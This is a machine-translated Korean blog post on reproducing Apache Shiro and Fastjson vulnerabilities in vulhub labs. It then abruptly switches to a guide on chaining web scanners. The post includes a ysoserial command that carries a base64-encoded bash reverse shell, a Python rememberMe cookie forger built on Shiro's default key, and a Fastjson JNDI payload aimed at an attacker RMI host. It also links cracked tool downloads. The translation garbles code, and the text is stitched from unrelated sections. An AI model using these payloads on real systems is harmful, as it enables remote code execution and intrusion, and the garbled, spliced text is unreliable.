Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863290115

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

시로

Apache Shiro는 복잡한 문제를 숨기고 개발자가 자신의 프로그램 보안 코드를 쉽게 개발할 수 있도록 명확하고 직관적 인 API를 제공하기 위해 인증, 승인, 암호화 및 세션 관리 기능을 제공합니다.

Shiro는 Shiro가 개발 팀을 개발하는 것에 중점을 둡니다. 개발 팀은 "4 개의 보안 초석" - 인증, 승인, 세션 관리 및 암호화

인증 : 사용자 신원 식별. 때로는 "로그인"으로 간주 될 수 있는데, 이는 사용자가 자신이 누구인지 증명하는 행위입니다. 권한 부여 : "무엇"에 액세스 할 수있는 것 "을 결정하는 것과 같은 액세스 제어 프로세스. 세션 관리 : 웹 또는 EJB 컨테이너가없는 환경에서도 사용자 세션을 관리합니다. 사용자 시간 관련 상태를 관리합니다. 암호화 : 암호화 알고리즘을 사용하여 데이터를보다 안전하게 보호하고 데이터를 엿보기를 방지하십시오. @shiro333333https://github.com/vulhub/vulhub/tree/master/shiro

CVE-2010-3863 : Apache Shiro 인증 우회 취약성

취약성 원칙

Apache Shiro 1.1.0 이전에 Shiro는 권한 확인을 수행하기 전에 URL을 표준화하지 않았습니다. 공격자는 허가 확인을 우회하기 위해 /, //, /./, /… /등을 구성 할 수 있습니다.

는 버전에 영향을 미칩니다

Shiro 1.1.0 및 JSecurity 0.9.x

취약성 재발

액세스 페이지 주소는 IP:8080입니다

취약점/관리자

크로스 디렉토리를 사용하여 사전 퍼지 테스트

image.png

image.png

CVE-2016-4437 : Apache Shiro 1.2.4 사막화 취약성/Shiro550

취약성 원칙

Shiro550 취약점에 속합니다.

Apache Shiro 1.2.4 및 이전 버전에서는 암호화 된 사용자 정보가 Serimalized 및 Remember-Me라는 쿠키에 저장되었습니다. 공격자는 Shiro의 기본 키를 사용하여 사용자 쿠키를 위조하고 Java Desorialization 취약성을 트리거 한 다음 대상 기계에서 임의의 명령을 실행할 수 있습니다.

Shiro는 기본적으로 CookierememberMemanager를 사용하고 RememberMeManaer 클래스, AES 암호화 및 Base64 인코딩 작업에서 Remembe Field 컨텐츠를 직렬화합니다. 신원을 식별 할 때는 쿠키에서 Rememberme 필드를 해독해야합니다. 암호화 순서에 따르면, 암호 해독 순서는==쿠키-베이스 64 디코딩 -AES 암호 해독 방지를 얻는 것으로 추론 될 수있다.==

는 버전에 영향을 미칩니다

Apache Shiro=1.2.4

취약성 재발

인증, 승인, 암호 및 세션 관리를 위해 Shiro 프레임 워크에서 페이지 로그인을 사용하는지 여부를 결정합니다.

판단 방법 : 비밀번호 기억 옵션을 확인한 후 로그인을 클릭하고 패킷을 잡고 요청 패키지에 기억 필 필드가 있는지 여부와 응답 패키지에 set-cookie:remembeme=deleteme 필드가 있는지 여부를 관찰하십시오. 아래 그림과 비슷합니다.

image.png

image.png

Rememberme=deleteme 필드가 응답 패키지에 나타나는 한 취약성이 있음을 의미합니다. 일방적으로 넣으려면, 기억력에 표시되면, Rememberme=deleteme 필드가 나타나면 로그인 페이지가 인증을 위해 Shiro를 사용하고 요청 패키지의 쿠키에 취약성과 리콜 필드가 있음을 직접 표시하지 않으며 반환 패키지 세트 쿠키에는 deleteme 필드가 없음을 나타냅니다. 로그인이 실패하면 Rememberme 필드가 확인되었는지 여부에 관계없이 리턴 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지 세트 쿠키에는 Rememberme=deleteme 필드가 있습니다. 그러나 모든 후속 요청에서 쿠키에는 Remember Me Field Check Rememberme가 없습니다. 로그인이 성공하면 반환 패키지에는 Set-Cookie에 RememberMe=Deleteme 필드가 있으며 Rememberme 필드가 있습니다. 모든 후속 요청에서 쿠키에는 기억력이 기억되거나 쿠키 다음에 기억에 남는 다음 기억에 남을 수 있습니다.

java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo, ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64, -d} | {bash, -i} '

shiro-exploit.py를 사용하여 Shiro의 기본 키를 얻으십시오 (공구 주소 : https://github.com/insightglacier/shiro_exploit).

image.png

shiro.py를 사용하여 페이로드를 생성합니다 (키를 직접 변경해야합니다. Shiro.py 코드는 다음과 같습니다.)

명령 : Shiro.py 192.168.17.13233606666

Shiro.py:

SYS 가져 오기

UUID 가져 오기

베이스 64 수입

수입 하위 프로세스

Crypto에서 Cipher Import AES에서

def encode_rememberme (명령) :

Popen=subprocess.popen ([ 'java', '-jar', 'ysoserial-0.0.6-snapshot-all.jar', 'jrmpclient', command], stdout=subprocess.pipe)

bs=aes.block_size

PAD=LAMBDA S: S + ((BS -LEN (S) %BS) * chr (BS -LEN (S) %BS)). Encode ()

key=base64.b64decode ( 'kph+bixk5d2deziixcaaaa==')

iv=uuid.uuid4 (). 바이트

alcryptor=aes.new (key, aes.mode_cbc, iv)

file_body=pad (popen.stdout.read ())

base64_ciphertext=base64.b64encode (iv + alcryptor.encrypt (file_body))

base64_ciphertext를 반환합니다

__name__=='__ 메인 __': 인 경우

페이로드=encode_rememberme (sys.argv [1])

print ( 'Rememberme={0}'. 형식 (payload.decode ()))

Python3 Shiro.py 192.168.200.12933606666

로그인 한 후 패킷을 잡고 데이터 패킷의 쿠키 값을 shiro.py가 생성 한 기억으로 교체하십시오.

image.png

CVE-2020-1957 : Apache Shiro 인증 우회 취약성

취약성 원칙

프로젝트 전반에 걸쳐 요청한 URL의 들어오는 전달 프로세스를 분석해야합니다. Shiro를 사용하는 프로젝트에서는 우리가 요청한 URL (URL1)으로 Shiro 권한 (URL2)에 의해 검사 된 URL (URL1)이며 마지막으로 SpringBoot 프로젝트로가는 경로를 찾습니다 (URL3).

취약점은 URL1, URL2 및 URL3에서 발생합니다. 동일한 URL이 아니기 때문에 시로의 확인을 우회하고 백엔드에 직접 액세스하게됩니다. 이 경우의 취약점은 이러한 이유로 인해 발생합니다.

Shiro Framework는 Anon, AuthC 및 기타 인터셉터와 같은 인터셉터 기능을 통해 사용자 액세스 권한을 제어합니다. Anon은 익명의 인터셉터이며 로그인에 액세스 할 필요가 없습니다. AuthC는 로그인 인터셉터이며 액세스에 로그인해야합니다.

는 버전에 영향을 미칩니다

Apache Shiro 1.5.2

취약성 재발

image.png

URL 변경 /admin로 변경 로그인 로그인 페이지로 자동 이동합니다.

image.png

허가 우회에 대한 악의적 인 요청을 구성

코드 레벨이 추가되었으므로; 우회 된 것으로 인식 될 것입니다. 하나/단락을 추가하십시오.

URL은 /xxx/.

/xxx/./admin/

image.png

시로 721

취약성 재발 : CVE-2019-12422

환경 : Kali Linux

Docker 빌드 및 시작

git 클론 https://github.com/3ndz/shiro-721.git

CD Shiro-721/Docker

Docker Build -t Shiro -721.

Docker Run -P 8080:8080 -D Shiro -721

입장:

image.png

image.png

image.png

올바른 계정 비밀번호로 로그인하면 아래 그림과 같이 두 개의 요청 패킷, 즉 게시 및 getPost 요청 패킷 (올바른 계정 비밀번호로 로그인하여 얻은 패키지 image.png

Get Request 패키지는 다음과 같습니다 (이것은 올바른 암호로 로그인하여 쿠키 값을 배경에 주로 제출하여 얻은 패키지입니다) image.png Repemerme=deleteme 필드를보고 Shiro Deserialization 취약성 image.png가 있다고 말할 수 있습니다.

Burp Plugin은 Shiro의 지문을보기 위해 HAE 및 LOGGER ++를 추가합니다.

image.png

image.png

도구 활용 :

image.png

FastJson

@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson

취약성 원칙

이 취약점의 원칙은 Fastjson의 사막화 메커니즘에 있습니다. Fastjson이 JSON 데이터를 파싱하면 JSON 데이터를 Java 객체로 변환하려고합니다. 이 프로세스에서 Fastjson은 JSON 데이터의 유형 정보를 기반으로 데이터를 구문 분석하는 방법을 결정합니다. 공격자는이 기능을 활용하여 JSON의 특정 데이터 유형과 구조를 구성 할 수 있으므로 FastJSON은 구문 분석 중에 악의적으로 구성된 Java 클래스 또는 방법을 호출하여 원격 코드 실행을 실현합니다.

일반적인 악용 방법은 FastJson의 자동 형 기능을 사용하는 것입니다. Autotype은 SASTJSON의 기능으로 직렬화 및 사제화 할 때 클래스의 완전히 자격을 갖춘 클래스 이름을 사용할 수 있습니다. 공격자는 악의적 인 JSON 데이터를 구성하고 악의적 클래스를 자동 타입의 값으로 사용할 수 있습니다. FastJson이 소화되면 지정된 클래스를 인스턴스화하여 클래스에서 코드를 실행하려고 시도합니다 (Exploit 프로세스에서는 JDBCrowsetlmpl이 일반적으로 체인을 이용하도록 악용).

@Type 필드

@type는 객체 유형 정보를 처리하는 데 사용되는 Fastjson의 특수 필드 중 하나입니다. JSON 데이터에서 @Type 필드는 사막화 중에 인스턴스화 해야하는 클래스의 유형을 지정하는 데 사용될 수 있습니다. 이 필드는 일반적으로 특히 Fastjson의 Autotyp 함수가 활성화 될 때, 사막화 중 객체의 유형 정보를 지정하는 데 사용됩니다.

@type 필드를 통해 Fastjson은 인스턴스화 할 클래스를 식별하고 해당 필드에 제공된 클래스 경로를 기반으로 객체를 만들 수 있습니다. 이것은 객체의 정확한 유형을 지정할 수 있으므로 복잡한 객체 구조를 직렬화하고 실조화 할 때 매우 유용합니다.

그러나 @type 필드의 존재와 사용으로 인해 악의적 인 사용자 가이 필드를 사용하여 악의적 인 JSON 데이터를 구성하고 @Type 필드에 악의적 인 클래스 경로를 지정할 수 있습니다. 이러한 방식으로, 사막화 과정에서 FastJson은 @Type 필드에서 지정된 클래스 경로를 기반으로 해당 클래스를 인스턴스화하여 악의적 인 코드가 실행되거나 보안 취약성이 악용 될 가능성이 있습니다.

jndi

JNDI, RMI 및 LDAP는 다양한 목적으로 Java에서 사용되는 기술입니다.

JNDI (Java Naming and Directory Interface) : JNDI는 Java의 API 세트로 다양한 이름 지정 및 디렉토리 서비스에 액세스하는 데 사용됩니다. JNDI는 Java 애플리케이션이 DNS, LDAP, RMI 레지스트리 등과 같은 다양한 이름 지정 및 디렉토리 서비스를 연결하고 사용할 수있는 통합 액세스 방법을 제공합니다. RMI (원격 메소드 호출) : RMI는 Java에서 원격 메소드 호출을 구현하는 데 사용되는 메커니즘입니다. 다른 Java 가상 머신 간의 객체 간의 통신 및 메소드 호출을 허용합니다. 분산 시스템에서 RMI를 사용하면 원격 시스템이 서로의 방법을 호출하여 원격 객체 간의 상호 작용을 달성 할 수 있습니다. LDAP (Lightweight Directory Access Protocol) : LDAP는 분산 디렉토리 서비스에 액세스하는 데 사용되는 프로토콜입니다. JNDI는 Java에서 일반적으로 사용자 정보, 조직 구조 등과 같은 구조화 된 데이터를 저장하는 데 사용됩니다. JNDI는 LDAP 액세스를 지원하며 JNDI가 사용자 인증, 데이터 검색 등과 같은 LDAP 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다. JNDI (JVA API)를 포함한 JNDI의 관계는 LDAP에 접근하는 방법을 제공한다는 것입니다. JNDI를 사용하면 LDAP 서버를 연결하고 작동하고 LDAP 디렉토리에 데이터를 검색하고 저장할 수 있습니다. 또한 JNDI를 사용하여 RMI 레지스트리에서 원격 객체를 찾아 원격 메소드 호출을 구현할 수도 있습니다.

요약하면, JNDI는 Java의 API로서 다양한 서비스에 액세스 할 수있는 통합 된 방법을 제공하여 Java 응용 프로그램이 LDAP 및 RMI 레지스트리와 같은 다양한 명칭 및 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다.

jdbcrowsetimpl은 체인을 사용합니다

Fastjson에서는 사막화 공격에 jdbcrowsetimpl을 사용합니다. JDBCROWSETIMPL의 활용 체인의 초점은 자동 커밋 세트 메소드를 호출하는 방법입니다. Fastjson Dessorialization의 특징은 클래스의 설정 방법을 자동으로 호출하므로 사막화의 문제가 있다는 것입니다. @type 유형이 공식화되는 한 해당 클래스를 자동으로 호출하여 구문 분석합니다.

이렇게하면 활용 체인을 구성 할 수 있습니다. @Type 유형이 JDBCrowsetImpl이면 JDBCrowsetImpl 클래스가 인스턴스화됩니다. 따라서 DataSourceame이 조회 방법으로 전달되는 한 원격 공격 서버에 액세스 할 수있는 다음 Autocommit 속성을 사용하여 조회를 트리거 할 수 있습니다. 전체 프로세스는 다음과 같습니다.

SetAutoCommit 함수를 사용하여 Connect 함수 트리거 기능을 트리거하여 DataSourceName - Autocommit 속성 설정 - 자동 커미트 속성 설정 - 자동 커미트 속성 설정 - 아래 조회 함수를 트리거하여 아래의 조회 함수는 방금 설정 한 DataSourCeame 매개 변수를 사용하여 RMI를 통해 원격 서버에 액세스 할 수 있습니다.

익스플로잇은 다음과 같습니다.

{ "@type": "com.sun.rowset.jdbcrowsetimpl", "dataSourceName": "RMI: //192.168.17.39:999/Exploit", "Autocommit":true}

1. DataSourceame은 Autocommit 앞에 배치해야합니다. 사막화가 설정되면 속성이 순서대로 설정되고 Etdatasourcename을 먼저 설정 한 다음 setAutocommit을 설정하기 때문입니다. 2. RMI의 URL은 검색 할 원격 공장 클래스의 이름을 검색 할 수 있습니다.

FastJSON DETECTION 버전

1. DNSLOG를 사용하여 가져 가십시오. 대부분의 DNSLOG가 블랙리스트에 기록되기 때문에 자신의 DNSLOG를 사용하는 것이 가장 좋습니다.

2. 오류 메시지가 있으며, 버전 번호 페이로드는 결함이있는 코드 블록을 입력하고 예외를 던지기 전에 "{"and ","읽지 않았습니다.

3. 스크립트를 사용하여 버전 번호를 신속하게 감지하십시오. 즉, 각 POC는 한 번 호출됩니다.

CVE-2017-18349 FASTJSON 1.2.24-RCE

0x00 소개

Fastjson은 Alibaba의 오픈 소스 JSON 구문 분석 라이브러리입니다. JSON 형식으로 문자열을 구문 분석하거나 JSON 현으로의 Java Bean을 직렬화하거나 JSON 현에서 Javabeans로 변형됩니다. 즉, FastJson의 주요 기능은 Java Beans를 JSON 문자열로 직렬화하여 문자열을 얻은 후 데이터베이스 등을 통해 지속될 수 있습니다.

0x01 취약성 개요

JSON을 구문 분석하는 과정에서 FastJSON은 자동 타입을 사용하여 특정 클래스를 인스턴스화하고 클래스의 세트/GET 메소드를 호출하여 속성에 액세스합니다. 코드에서 관련 방법을 찾으면 악의적 인 악용 체인이 구성 될 수 있습니다.

0x02는 버전에 영향을 미칩니다

영향 범위 : FastJson=1.2.24

0x03 환경 구성

CD /VULHUB/FASTJSON/1.2.24-RCE

Docker -Compose Up -D

도커 PS

image.png

Docker는 포트 8090을 열고 대상 기계 IP에 액세스합니다

http://192.168.200.16633608090/

image.png

JDK 버전 스위칭

취약성 익스플로잇은 JDK8을 필요로하고 Kali와 함께 제공되는 JDK는 JDK11을 여기서 사용할 수 없으므로 Kali의 JDK1123을 먼저 제거하십시오.

dpkg --- 목록 | grep -i jdk #view 설치 JDK 패키지

APT-GET PURGE OPENJDK-* #UNINSTALL OPENJDK 관련 패키지

dpkg --- 목록 | Grep -I JDK #모든 JDK 패키지가 제거되었음을 확인하십시오.

JDK1.8을 다운로드하십시오

https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

image.png

압축 패키지를 Kali 및 압축 압력에 넣고 환경 변수를 구성하십시오.

MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA #PLAPE IN /OPT /JA

0x01 도구 사용

도구의 다운로드 주소 및 설치 방법은 각 도구를 도입 한 후에 배치됩니다. 필요한 경우 직접 다운로드 할 수 있습니다.

1.awvs 도구

AWVS 소개 :

ACUNETIX 웹 취약점 스캐너 (AWVS)는 웹 응용 프로그램의 보안을 테스트하고 관리하는 데 사용되는 플랫폼입니다. 취약점을 위해 인터넷 또는 로컬 LAN을 자동으로 스캔하고 취약점을보고 할 수 있습니다. 액세스하고 HTTP/HTTPS 규칙에 따라 액세스 한 웹 사이트를 스캔 할 수 있습니다. 중소형 및 대기업을위한 고객, 직원, 공급 업체 및 기타 직원을위한 인트라넷, 외부 네트워크 및 웹 사이트. AWS는 SQL 주입 공격 취약점, XSS 크로스 사이트 스크립팅 취약점 등을 확인하여 웹 애플리케이션의 보안을 검토 할 수 있습니다. AWVS 기능 및 기능 : 1) 자동 클라이언트 스크립트 분석기, AJAX 및 Web2.0 응용 프로그램의 보안 테스트를 허용합니다.

2) 업계에서 가장 진보되고 심층적 인 SQL 주입 및 크로스 사이트 스크립팅 테스트

3) HTPP 편집기 및 HTTP 퍼지와 같은 고급 침투 테스트 도구

4) Visual Macro Recorder

5) CAPTHCA, 단일 시작 명령 및 2 요인 (2 요인) 검증 메커니즘이 포함 된 지원 페이지

6) 비자 PCI 준수보고를 포함한 풍부한보고 기능

7) 고속 멀티 스레드 스캐너는 수천 페이지를 쉽게 검색합니다

8) Intelligent Crawler는 웹 서버 유형 및 응용 프로그램 언어를 감지합니다.

9) Acunetix는 플래시 컨텐츠, 비누 및 Ajax를 포함한 웹 사이트를 검색하고 분석합니다.

10) 포트는 웹 서버를 스캔하고 서버에서 실행중인 네트워크 서비스에서 보안 검사를 수행합니다.

11) 웹 사이트 취약성 파일을 내보낼 수 있습니다

AWVS 도구 설치 자습서 주소 : https://blog.csdn.net/shandongjiushen/article/details/128377981

AWVS 도구 크랙 버전 다운로드 주소 (Baidu Netdisk) 링크 : https://pan.baidu.com/s/1kayuhishgujozphx41cqsq 추출 코드 : QBE0

2. AppScan 도구

AppScan 소개 :

AppScan은 보안 전문가 및 테스터를 위해 특별히 설계된 동적 응용 프로그램 보안 테스트 도구입니다. 이를 통해 사용자는보다 안전한 소프트웨어를 개발하고 개발 수명주기 후반에 비싼 취약점을 효과적으로 피할 수 있습니다. 이 소프트웨어에는 강력한 스캐닝 엔진이 내장되어있어 대상 응용 프로그램 및 테스트 취약점을 자동으로 크롤링 할 수 있으며, 테스트 결과는 우선 순위로 제시되므로 운영자가 문제를 더 빠르게 분류하고 가장 중요한 취약점을 가장 먼저 발견 할 수 있습니다. 동시에, AppScan은 사용자에게 명확하고 실현 가능한 수리 제안을 자동으로 제공하여 각 발견 된 문제를보다 쉽게 치료할 수 있습니다. 또한이 소프트웨어에는 웹 응용 프로그램, 웹 서비스 및 모바일 백엔드 테스트를 지원하는 포괄적 인 보안 테스트 제품군이 있으며 운영 기반의 독점 기술 및 수만 건의 내장 스캔을 사용하여 지속적으로 검사하여 웹 서비스 및 애플리케이션에 대한 위험 점검 및 평가가 파괴적인 보안 취약성을 방지 할 수 있습니다. AppScan 기능 소개 : 1) 활성 및 수동 스캐닝 AppScan은 활성 및 수동 스캐닝 기술을 지원합니다. 활성 스캐닝 모드에서 공격자의 동작을 시뮬레이션하고 악의적 인 요청을 보내고 공격 페이로드를 보내고 XSS (XSS), SQL 주입, CSRF (Cross-Site Requess) 등의 알려진 웹 취약점을 발견하여 수동 스캔 모드에서 APPSCAN은 응용 프로그램의 통신 및 인터랙션 프로세스, 분석 및 반응을보고, 그리고 반응 및 반응을보고, 및 반응 및 반응을 보게됩니다.

2) 웹 응용 프로그램 및 모바일 애플리케이션 스캔 지원 AppScan은 웹 애플리케이션 스캔 및 모바일 애플리케이션 보안 평가에 적합합니다. 웹 애플리케이션의 경우 AppScan은 XSS, SQL 주입, 민감한 정보 유출 등과 같은 일반적인 웹 취약점을 자동으로 발견하고 평가할 수 있습니다. 모바일 응용 프로그램의 경우 AppScan은 응용 프로그램의 이진 코드를 분석하고 응용 프로그램에서 취약성 및 보안 문제를 발견 할 수 있습니다.

3) 침투 테스트 지원 AppScan은 침투 테스트 지원을 제공합니다. 즉, 취약성 스캔 도구 일뿐 만 아니라 테스트를위한 실제 공격을 시뮬레이션 할 수 있습니다. 침투 테스트는 복잡한 취약점 및 비즈니스 논리 문제에 대한 심층 테스트 기능을 감지하기 어려운 일부 취약점을 발견하는 데 도움이 될 수 있습니다.

AppScan 도구 설치 자습서 주소 : https://blog.csdn.net/qq_39720249/article/details/121248901

AppScan 도구 크랙 버전 다운로드 주소 (Baidu Netdisk) : https://pan.baidu.com/s/1unazbfwyvevzuqpc1eqaba 추출 코드 : IME6

3. 야키 도구

Yakit 소개 :

YAK는 네트워크 보안의 기본 기능 통합에 전념하는 세계 최초의 수직 개발 언어로 매우 강력한 보안 기능을 제공합니다. Yak은 대부분의 "데이터 설명 언어/컨테이너 언어"의 슈퍼 세트입니다. 모든 GO 기능 및 라이브러리 생태계, VSCODE 플러그인 등이 있습니다. 구문은 사용자 정의 가능합니다. 그것은 완전히 국내 튜링-완성 스크립팅 언어입니다. 포트 스캐닝, 지문 인식, POC 프레임 워크, 쉘 관리, MITM 납치, 강력한 플러그인 시스템 등을 포함하여 다양한 기본 보안 기능을 제공합니다. Yakit은 YAK 언어를 기반으로 개발 한 사이버 보안 개별 도구입니다. Yak 사용 형식으로 인해 사용자는 Yak 언어를 배우고 동시에 보안에 대한 특정 이해를 가져야합니다. Yak의 자체 보안 기능을 모든 사람이 쉽게 받아들이고 사용할 수 있도록하기 위해 Yak을위한 GRPC 서버를 작성하고 클라이언트를 구축했습니다. Yakit은 모든 사람이 인터페이스 GUI를 통해 Yak을 사용할 수있는 임계 값을 낮 춥니 다. Yakit 기능 (너무 많은 기능)에 대한 간단한 소개 : Yakit은 Yak 언어 보안 기능을위한 고도로 통합 된 출력 플랫폼입니다. Yakit을 사용하면 다음을 수행 할 수 있습니다.

1) Burpsuite와 유사한 MITM 납치 작업 테이블

2) 납치 된 모든 요청의 기록을보고 요청의 매개 변수를 분석합니다.

3) 세계 최초의 시각적 웹 퍼즐 도구 : 웹 퍼저

4) Yak Cloud Ide : 내장 된 스마트 프롬프트가있는 Yak Language Cloud IDE

5) ShellreCeiver : 리바운드 대화식 쉘 방지 연결을 받으려면 TCP 서버를 켜십시오.

6) 타사 야크 모듈 상점 : 커뮤니티 주도 타사 야크 모듈 플러그인, 원하는 모든 것이 있습니다.

7.

Yakit 도구 설치 자습서 주소 : https://blog.csdn.net/m0_60045654/article/details/134645164

Yakit 도구 다운로드 주소 : https://yaklang.com/

4. 버프 스위트

버프 스위트 소개 :

Burp Suite는 웹 애플리케이션을 공격하기위한 통합 플랫폼입니다. Burp Suite는 웹 응용 프로그램을 공격하기위한 통합 플랫폼이며 많은 도구를 포함합니다. Burp Suite는 이러한 도구를위한 많은 인터페이스를 설계하여 응용 프로그램을 공격하는 프로세스를 가속화합니다. 모든 도구는 요청을 공유하며 해당 HTTP 메시지, 지속성, 인증, 프록시, 로그 및 경고를 처리 할 수 있습니다. Burp Suite 도구의 기능 소개 : 1) Target (Target) —— 대상 디렉토리 구조의 함수를 표시합니다.

2) 프록시 (프록시) ——는 HTTP/S 프록시 서버를 가로 채어 브라우저와 대상 응용 프로그램 사이의 중개자 역할을하여 원래 데이터 흐름을 양방향으로 가로 자르고,보기 및 수정할 수 있도록합니다.

3) Spider (Spider) ——는 지능형 감지 웹 크롤러를 사용하여 응용 프로그램의 내용과 기능을 완전히 열거 할 수 있습니다.

4) 스캐너 (스캐너) —— 고급 도구 실행 후 웹 애플리케이션에서 보안 취약점을 자동으로 발견 할 수 있습니다.

5) 침입자 (침입자) —— 열거 식별자, 유용한 데이터 수집 및 퍼지 기술을 사용하여 기존의 취약성을 감지하는 것과 같은 웹 애플리케이션을 자동화하는 맞춤형 고도로 구성 가능한 도구.

6) 리피터 (리피터) —— 별도의 HTTP 요청을 트리거하고 응용 프로그램 응답을 분석하기 위해 수동 작업에 의존하는 도구.

7) 시퀀서 (세션) ——는 예측할 수없는 애플리케이션 세션 토큰 및 중요한 데이터 항목의 무작위성을 분석하는 데 사용되는 도구입니다.

8) 디코더 (디코더) ——는 수동 실행 또는 지능적으로 디코딩 및 인코딩 응용 프로그램 데이터 사용자를위한 도구입니다.

9) 비교 (비교) ——는 일반적으로 일부 관련 요청 및 응답을 통해 두 데이터의 시각적 '차이'를 얻습니다.

10) Extender (Extension) ——를 사용하면 Burp Suite Extensions를로드하고 자체 또는 타사 코드를 사용하여 Burp Suite의 기능을 확장 할 수 있습니다.

11) 옵션 (설정) —— BURP 제품군의 일부 설정

BURP Suite Tool 설치 자습서 주소 : https://Blog.csdn.net/m0_60045654/article/details/134645164

버프 스위트 도구 항아리 균열 패키지 : ** https://link.zhihu.com/? target=https%3a //github.com/lzskyline/burploaderkeygen/raw/main/burploaderkeygen.jar

버프 스위트 도구 다운로드 주소 : https://link.zhihu.com/?target=https%3a//portswigger.net/burp/releases/

5. Xray

Xray 도구 소개 :

Xray는 변경 기술에 의해 시작된 강력한 보안 평가 도구입니다. 많은 경험이 풍부한 최전선 보안 실무자들에 의해 만들어졌습니다. 활성 및 수동 스캔 방법을 지원하고 Windows, Linux 및 MACOS와 같은 여러 운영 체제를 지원하며 사용자 정의 POC를 지원합니다.

대상 웹 사이트에서 취약성을 빠르게 감지 할 수 있습니다. 기존 수동 취약성 스캔과 비교하여 Xray는 다음과 같은 장점이 있습니다.

1. 수동 작동의 시간과 에너지를 줄이는 높은 수준의 자동화;

2. 여러 취약성 유형의 스캔을 지원합니다.

3. 분산 배치 지원;

4. 웹 인터페이스 관리를 지원합니다.

Xray Function 소개 : POC 프레임 워크에는 기본적으로 GitHub에 POC가 내장되어 있으며 사용자는 필요에 따라 스스로 빌드 및 실행할 수도 있습니다.

현재 지원되는 취약성 감지 유형은 : 1) XSS 취약성 감지 (key: XSS)

2) SQL 주입 감지 (key: SQLDET)

3) 명령/코드 주입 감지 (key: CMD 주입)

4) 디렉토리 열거 (Key: Dirscan)

5) 경로 교차 감지 (key: 경로 변환)

6) XML 엔티티 주입 감지 (key: XXE)

7) 파일 업로드 감지 (key: 업로드)

8) 약한 비밀번호 감지 (key: Brute-Force)

9) JSONP 감지 (key: JSONP)

10) SSRF 감지 (key: SSRF)

11) 기준선 검사 (Key: 기준선)

12) 임의의 점프 감지 (key: 리디렉션)

13) CRLF 주입 (key: CRLF-injection)

14) Struts2 시리즈 취약성 감지 (Advanced Edition, Key: Struts)

15) ThinkPhp 시리즈 취약성 감지 (고급 버전, Key: ThinkPhp)

16) Xstream 시리즈 취약성 감지 (key: Xstream)

17) POC 프레임 워크 (key: pantasm)

Xray 도구 설치 자습서 주소 : https://blog.csdn.net/weixin_52244272/article/details/132278409

XRAY11 도구 크랙 버전 다운로드 주소 : https://pan.baidu.com/s/1N5LQESVXPK_CGBS7JMFKDA?pwd=AMLJ 추출 코드 : AMLJ

0x02 도구 연결

대상 웹 사이트에서 취약점을 자동으로 스캔하기 위해 5 개의 도구를 연결하기 시작하십시오.

1. AppScan 도구 연결 준비

를 설정하십시오

AppScan 도구 인터페이스를 열고 New-Scan Web Service-Next를 선택하십시오.image.png

선택-AppScan이 포트를 자동으로 선택하게하십시오 (여기에서 선택한 포트 및 주소는 AWVS 에이전트가 듣는 주소 및 포트입니다)-로컬-다른 연결 설정을 구성해야합니다. 다음 단계 image.png

선택 -사용자 정의 프록시 설정 -Address : 127.0.0.1 -포트 : 8083 (여기서 프록시 주소 및 포트 세트는 Yakit의 프록시 청취 주소입니다) --next.image.png

설정할 필요가 없습니다. 다음에 가십시오.image.png

설정하지 않고 다음 단계로 이동하여 마감을 클릭하십시오.image.png image.png

외부 트래픽 레코더를 받고 트래픽이 전달 될 때까지 기다릴 때까지 기다리십시오.image.png

2. Yakit 도구 연결 준비

를 설정하십시오

Yakit 도구 image.png을 시작하십시오

임시 프로젝트 image.png을 엽니 다

침투 테스트 도구-MIMT 대화식 납치 image.png를 선택하십시오

Yakit에는 기본적으로 15 개의 스캔 플러그인이 다운로드된다는 점을 언급하겠습니다. 보다 포괄적 인 수동 스캔 취약점을 원한다면 플러그인 스토어로 이동하여 필요한 플러그인을 다운로드 할 수 있습니다. 한 번의 클릭으로 모든 플러그인을 다운로드 할 수 있지만 스캔은 매우 느립니다. 필요한 것들 중 일부를 다운로드하십시오.image.png

Mimt Interactive 납치로 돌아가 도리 하시도 에이전트 청취 호스트를 설정하십시오. 127.0.0.1, 납치 에이전트 청취 포트는 다음과 같습니다. 플러그인 활성화를 선택하고 왼쪽에서 플러그인을 설정하여 모두를 선택하고 설정 후 구성없는 시작을 선택하십시오 (구성이없는 시작을 선택하는 것이 가장 좋습니다. 그렇지 않으면 Burp Suite 도구를 연결할 때 트래픽이 통과 할 수 없습니다).image.png

나중에 스캔 한 취약점은 여기에 image.png로 표시됩니다

3. Buro Suite Tool

에 대한 연결 준비를 설정하십시오

Burp Suite Tool을 열고-Temporary Project --next를 선택하십시오.image.png

Burp Suite -next의 기본값을 사용하십시오.image.png

설정 image.png를 선택하십시오

프록시를 설정하면 바인딩 프록시 포트는 8080이며 바인딩 주소는 다음과 같습니다. 루프백 만 (프록시 청취 주소 및 포트 세트는 Yakit에서 설정 한 다운 스트림 프록시 주소입니다).image.png

Burp Suite의 상류 프록시를 설정하고 대상 호스트는 다음과 같습니다. * (모든 대상 호스트가 허용됨), 프록시 호스트는 다음과 같습니다. 127.0.0.1, 프록시 포트는 7777입니다.

실시간 작업 추가 image.png

프록시 image.png를 통과하는 모든 트래픽을 수동적으로 스캔하십시오.

내장 된 스캔 동작을 편집합니다.image.png

스캔 유형을 설정하고, 모두를 선택하고, 화력을 켜고, 저장을 클릭하십시오.image.png

확인을 클릭하고 수동 스캔을 설정하십시오.image.png image.png

4. Xray 도구 연결 준비

을 설정하십시오

Xray를 사용하여 포트 127.0.0.133607777 (여기서 듣는 포트는 Burp Suite에서 설정 한 업스트림 프록시), 수동적으로 취약성을 스캔하며 출력 취약점 123.html로 들어갑니다.image.png

0x04 연결 테스트 연결 스캔

모든 준비가 진행 중이며 AWVS 도구를 첫 번째 액세스 스캔 대상 트래픽의 시작점으로 사용하십시오.

1. 인터셉트 트래픽

